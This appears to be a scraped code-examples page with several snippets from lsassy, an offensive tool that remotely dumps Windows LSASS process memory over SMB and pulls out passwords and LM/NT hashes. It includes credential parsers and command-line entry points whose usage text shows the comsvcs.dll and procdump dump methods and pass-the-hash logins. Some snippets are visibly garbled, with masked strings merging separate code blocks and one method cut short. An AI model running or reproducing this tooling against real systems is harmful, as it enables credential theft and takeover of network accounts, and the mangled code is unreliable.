Exemplo n.º 1
0
class Parser():
    def __init__(self, pypydump):
        self.pypydump = pypydump
        self.log = Logger()
        self.credentials = []

    def _parse(self, raw=False):
        """
        This code was shamelessly taken from project Spraykatz by @lydericlefebvre
        https://github.com/aas-n/spraykatz/blob/master/core/ParseDump.py
        """
        ssps = [
            'msv_creds', 'wdigest_creds', 'ssp_creds', 'livessp_creds',
            'kerberos_creds', 'credman_creds', 'tspkg_creds'
        ]
        for luid in self.pypydump.logon_sessions:

            for ssp in ssps:
                for cred in getattr(self.pypydump.logon_sessions[luid], ssp,
                                    []):
                    domain = getattr(cred, "domainname", None)
                    username = getattr(cred, "username", None)
                    password = getattr(cred, "password", None)
                    LMHash = getattr(cred, "LMHash", None)
                    NThash = getattr(cred, "NThash", None)
                    if LMHash is not None:
                        LMHash = LMHash.hex()
                    if NThash is not None:
                        NThash = NThash.hex()
                    # Remove empty password, machine accounts and buggy entries
                    if raw:
                        self.credentials.append(
                            [ssp, domain, username, password, LMHash, NThash])
                    elif (not all(v is None or v == ''
                                  for v in [password, LMHash, NThash])
                          and not username.endswith('$')
                          and not username == ''):
                        self.credentials.append(
                            (ssp, domain, username, password, LMHash, NThash))

    def output(self, args):
        self._parse(args.raw)
        if args.json:
            json_output = {}
            for cred in self.credentials:
                ssp, domain, username, password, lhmash, nthash = cred
                if domain not in json_output:
                    json_output[domain] = {}
                if username not in json_output[domain]:
                    json_output[domain][username] = []
                credential = {
                    "password": password,
                    "lmhash": lhmash,
                    "nthash": nthash
                }
                if credential not in json_output[domain][username]:
                    json_output[domain][username].append(credential)
            print(json.dumps(json_output), end='')
        elif args.grep:
            credentials = set()
            for cred in self.credentials:
                credentials.add(':'.join(
                    [c if c is not None else '' for c in cred]))
            for cred in credentials:
                print(cred)
        else:
            if len(self.credentials) == 0:
                self.log.error('No credentials found')
                return 0
            max_size = max(len(c[0]) + len(c[1]) for c in self.credentials)
            credentials = []
            for cred in self.credentials:
                ssp, domain, username, password, lhmash, nthash = cred
                if password is None:
                    password = '******'.join(h for h in [lhmash, nthash]
                                        if h is not None)
                if [domain, username, password] not in credentials:
                    credentials.append([domain, username, password])
                    self.log.success("{}\\{}{}{}".format(
                        domain, username,
                        " " * (max_size - len(domain) - len(username)),
                        Logger.highlight(password)))
Exemplo n.º 2
0
class ImpacketConnection:
    def __init__(self, conn=None, debug=False):
        self._log = Logger(debug)
        self.conn = conn
        self._log.debug("Preferred dialect is SMBv2")

    @staticmethod
    def from_args(arg, debug=False):
        pattern = re.compile(
            r"^(?:(?P<domainName>[a-zA-Z0-9._-]+)/)?(?P<userName>[^:/]+)(?::(?P<password>.*))?@(?P<hostName>[a-zA-Z0-9.-]+):/(?P<shareName>[^/]+)(?P<filePath>/(?:[^/]*/)*[^/]+)$"
        )
        matches = pattern.search(arg.target)
        if matches is None:
            raise Exception(
                "{} is not valid. Expected format : [domain/]username[:password]@host:/shareName/path/to/file"
                .format(arg.target))
        domainName, userName, password, hostName, shareName, filePath = matches.groups(
        )
        if matches.group("domainName") is None:
            domainName = "."
        if matches.group("password") is None:
            import getpass
            password = getpass.getpass(prompt='Password: '******'STATUS_SHARING_VIOLATION') >= 0:
                    # Output not finished, let's wait
                    time.sleep(2)
                else:
                    raise Exception(e)

    def queryInfo(self, tid, fid):
        while True:
            try:
                info = self.conn.queryInfo(tid, fid)
                return info
            except Exception as e:
                if str(e).find('STATUS_SHARING_VIOLATION') >= 0:
                    # Output not finished, let's wait
                    time.sleep(2)
                else:
                    raise Exception(e)

    def getFile(self, shareName, pathName, callback):
        while True:
            try:
                self.conn.getFile(shareName, pathName, callback)
                break
            except Exception as e:
                if str(e).find('STATUS_SHARING_VIOLATION') >= 0:
                    # Output not finished, let's wait
                    time.sleep(2)
                else:
                    raise Exception(e)

    def deleteFile(self, shareName, pathName):
        while True:
            try:
                self.conn.deleteFile(shareName, pathName)
                self._log.debug("File {} deleted".format(pathName))
                break
            except Exception as e:
                if str(e).find('STATUS_SHARING_VIOLATION') >= 0:
                    time.sleep(2)
                else:
                    raise Exception(e)

    def putFile(self, shareName, pathName, callback):
        try:
            self.conn.putFile(shareName, pathName, callback)
            self._log.debug("File {} uploaded".format(pathName))
        except Exception as e:
            raise Exception(
                "An error occured while uploading %s on %s share : %s" %
                (pathName, shareName, e))

    def readFile(self, tid, fid, offset, size):
        return self.conn.readFile(tid, fid, offset, size, singleCall=False)

    def close(self):
        self.conn.close()
Exemplo n.º 3
0
class Parser():
    def __init__(self, pypydump):
        self.pypydump = pypydump
        self.log = Logger()
        self.credentials = []
    
    def _parse(self, raw=False):
        ssps = ['msv_creds', 'wdigest_creds', 'ssp_creds', 'livessp_creds', 'kerberos_creds', 'credman_creds', 'tspkg_creds']
        for luid in self.pypydump.logon_sessions:
            
            for ssp in ssps:
                for cred in getattr(self.pypydump.logon_sessions[luid], ssp, []):
                    domain = getattr(cred, "domainname", None)
                    username = getattr(cred, "username", None)
                    password = getattr(cred, "password", None)
                    LMHash = getattr(cred, "LMHash", None)
                    NThash = getattr(cred, "NThash", None)
                    if LMHash is not None:
                        LMHash = LMHash.hex()
                    if NThash is not None:
                        NThash = NThash.hex()
                    # Remove empty password, machine accounts and buggy entries
                    if raw:
                        self.credentials.append([ssp, domain, username, password, LMHash, NThash])
                    elif (not all(v is None or v == '' for v in [password, LMHash, NThash])
                            and username is not None
                            and not username.endswith('$')
                            and not username == ''):
                        self.credentials.append((ssp, domain, username, password, LMHash, NThash))

    def _decode(self, data):
        """
        Ugly trick because of mixed content coming back from pypykatz
        Can be either string, bytes, None
        """
        try:
            return data.decode('utf-8', 'backslashreplace')
        except:
            return data

    def output(self, args):
        self._parse(args.raw)
        if args.json:
            json_output = {}
            for cred in self.credentials:
                ssp, domain, username, password, lhmash, nthash = cred

                domain = self._decode(domain)
                username = self._decode(username)
                password = self._decode(password)

                if domain not in json_output:
                    json_output[domain] = {}
                if username not in json_output[domain]:
                    json_output[domain][username] = []
                credential = {
                    "password": password,
                    "lmhash": lhmash,
                    "nthash": nthash
                }
                if credential not in json_output[domain][username]:
                    json_output[domain][username].append(credential)
            print(json.dumps(json_output), end='')
        elif args.grep:
            credentials = set()
            for cred in self.credentials:
                credentials.add(':'.join([self._decode(c) if c is not None else '' for c in cred]))
            for cred in credentials:
                print(cred)
        else:
            if len(self.credentials) == 0:
                self.log.error('No credentials found')
                return 0

            max_size = max(len(c[1]) + len(c[2]) for c in self.credentials)
            credentials = []
            for cred in self.credentials:
                ssp, domain, username, password, lhmash, nthash = cred
                domain = self._decode(domain)
                username = self._decode(username)
                password = self._decode(password)
                if password is None:
                    password = '******'.join(h for h in [lhmash, nthash] if h is not None)
                if [domain, username, password] not in credentials:
                    credentials.append([domain, username, password])
                    self.log.success("{}\\{}{}{}".format(
                        domain, username, " " * (max_size - len(domain) - len(username) + 2), Logger.highlight(password))
                    )
Exemplo n.º 4
0
def run():
    import argparse

    examples = '''examples:
    
  ** RunDLL Dump Method **
  lsassy adsec.local/pixis:[email protected]
  
  ** Try all methods **
  lsassy -m 0 adsec.local/pixis:[email protected]

  ** Procdump Dump Method **
  lsassy -m 2 -p /tmp/procdump.exe adsec.local/pixis:[email protected]
  
  ** Remote parsing only **
  lsassy --dumppath C$/Windows/Temp/lsass.dmp adsec.local/pixis:[email protected]
  
  ** Output functions **
  lsassy -j -q [email protected]
  lsassy -g --hashes 952c28bd2fd728898411b301475009b7 [email protected]'''

    parser = argparse.ArgumentParser(
        prog="lsassy",
        description='lsassy v{} - Remote lsass dump reader'.format(version),
        epilog=examples,
        formatter_class=argparse.RawTextHelpFormatter
    )

    group_auth = parser.add_argument_group('authentication')
    group_auth.add_argument('--hashes', action='store', help='[LM:]NT hash')
    group_out = parser.add_argument_group('output')
    group_out.add_argument('-j', '--json', action='store_true',help='Print credentials in JSON format')
    group_out.add_argument('-g', '--grep', action='store_true', help='Print credentials in greppable format')
    group_extract = parser.add_argument_group('remote parsing only')
    group_extract.add_argument('--dumppath', action='store', help='lsass dump path (Format : c$/Temp/lsass.dmp)')
    parser.add_argument('-m', '--method', action='store', default="1", help='''Dumping method
    0: Try all methods to dump procdump, stop on success (Requires -p if dll method fails)
    1: comsvcs.dll method, stop on success (default)
    2: Procdump method, stop on success (Requires -p)
    3: comsvcs.dll + Powershell method, stop on success
    4: comsvcs.dll + cmd.exe method''')
    parser.add_argument('--dumpname', action='store', help='Name given to lsass dump (Default: Random)')
    parser.add_argument('-p', '--procdump', action='store', help='Procdump path')
    parser.add_argument('-r', '--raw', action='store_true', help='No basic result filtering')
    parser.add_argument('-d', '--debug', action='store_true', help='Debug output')
    parser.add_argument('-q', '--quiet', action='store_true', help='Quiet mode, only display credentials')
    parser.add_argument('-V', '--version', action='version', version='%(prog)s (version {})'.format(version))
    parser.add_argument('target', action='store', help='[domain/]username[:password]@<host>')

    if len(sys.argv) == 1:
        parser.print_help()
        sys.exit(0)

    args = parser.parse_args()

    logger = Logger(args.debug, args.quiet)

    conn = ImpacketConnection.from_args(args, logger)
    file_path = args.dumppath

    dumper = None

    if not args.dumppath:
        dumper = Dumper(conn, args, logger)
        file_path = dumper.dump()
        if not file_path:
            logger.error("lsass could not be dumped")
            exit()
        logger.success("Process lsass.exe is being dumped")

    ifile = ImpacketFile(logger)
    ifile.open(conn, file_path)
    dumpfile = pypykatz.parse_minidump_external(ifile)
    ifile.close()
    parser = Parser(dumpfile, logger)
    parser.output(args)

    if dumper is not None:
        dumper.clean()
    conn.close()
Exemplo n.º 5
0
def run():
    import argparse

    examples = '''examples:
    
  ** RunDLL Dump Method **
  lsassy adsec.local/pixis:[email protected]
  
  ** Try all methods **
  lsassy -m 0 adsec.local/pixis:[email protected]

  ** Procdump Dump Method **
  lsassy -m 2 -p /tmp/procdump.exe adsec.local/pixis:[email protected]
  
  ** Remote parsing only **
  lsassy --dumppath C$/Windows/Temp/lsass.dmp adsec.local/pixis:[email protected]
  
  ** Output functions **
  lsassy -j -q [email protected]
  lsassy -g --hashes 952c28bd2fd728898411b301475009b7 [email protected]'''

    parser = argparse.ArgumentParser(
        prog="lsassy",
        description='lsassy v{} - Remote lsass dump reader'.format(version),
        epilog=examples,
        formatter_class=argparse.RawTextHelpFormatter)

    group_dump = parser.add_argument_group('dump')
    group_dump.add_argument('-m',
                            '--method',
                            action='store',
                            default="1",
                            help='''Dumping method
    0: Try all methods (dll then procdump) to dump lsass, stop on success (Requires -p if dll method fails)
    1: comsvcs.dll method, stop on success (default)
    2: Procdump method, stop on success (Requires -p)
    3: comsvcs.dll + Powershell method, stop on success
    4: comsvcs.dll + cmd.exe method''')
    group_dump.add_argument('--dumpname',
                            action='store',
                            help='Name given to lsass dump (Default: Random)')
    group_dump.add_argument('-p',
                            '--procdump',
                            action='store',
                            help='Procdump path')
    group_dump.add_argument(
        '--timeout',
        default="10",
        action='store',
        help='Timeout before considering lsass was not dumped successfully')

    group_auth = parser.add_argument_group('authentication')
    group_auth.add_argument('--hashes', action='store', help='[LM:]NT hash')

    group_out = parser.add_argument_group('output')
    group_out.add_argument('-j',
                           '--json',
                           action='store_true',
                           help='Print credentials in JSON format')
    group_out.add_argument('-g',
                           '--grep',
                           action='store_true',
                           help='Print credentials in greppable format')
    group_extract = parser.add_argument_group('remote parsing only')
    group_extract.add_argument(
        '--dumppath',
        action='store',
        help='lsass dump path (Format : c$/Temp/lsass.dmp)')

    parser.add_argument(
        '-r',
        '--raw',
        action='store_true',
        help=
        'No basic result filtering (Display host credentials and duplicates)')
    parser.add_argument('-d',
                        '--debug',
                        action='store_true',
                        help='Debug output')
    parser.add_argument('-q',
                        '--quiet',
                        action='store_true',
                        help='Quiet mode, only display credentials')
    parser.add_argument('-V',
                        '--version',
                        action='version',
                        version='%(prog)s (version {})'.format(version))
    parser.add_argument('target',
                        action='store',
                        help='[domain/]username[:password]@<host>')

    if len(sys.argv) == 1:
        parser.print_help()
        sys.exit(RetCode(ERROR_MISSING_ARGUMENTS).error_code)

    args = parser.parse_args()
    logger = Logger(args.debug, args.quiet)

    conn = ImpacketConnection.from_args(args, logger)

    if isinstance(conn, RetCode):
        return_code = conn
        lsassy_exit(logger, return_code)

    return_code = conn.isadmin()
    if not return_code.success():
        conn.close()
        lsassy_exit(logger, return_code)

    dumper = None
    ifile = None

    try:
        if not args.dumppath:
            dumper = Dumper(conn, args, logger)
            ifile = dumper.dump()
            if isinstance(ifile, RetCode):
                return_code = ifile
            else:
                logger.success("Process lsass.exe has been dumped")
        else:
            ifile = ImpacketFile(conn, logger).open(args.dumppath)
            if not isinstance(ifile, ImpacketFile):
                return_code = ifile

        if return_code.success():
            dumpfile = pypykatz.parse_minidump_external(ifile)
            ifile.close()
            parser = Parser(dumpfile, logger)
            parser.output(args)
    except KeyboardInterrupt as e:
        print("\nQuitting gracefully...")
        return_code = RetCode(ERROR_USER_INTERRUPTION)
    except Exception as e:
        return_code = RetCode(ERROR_UNDEFINED, e)
        pass
    finally:
        try:
            ifile.close()
        except Exception as e:
            pass
        if dumper is not None:
            dumper.clean()
        conn.close()
        lsassy_exit(logger, return_code)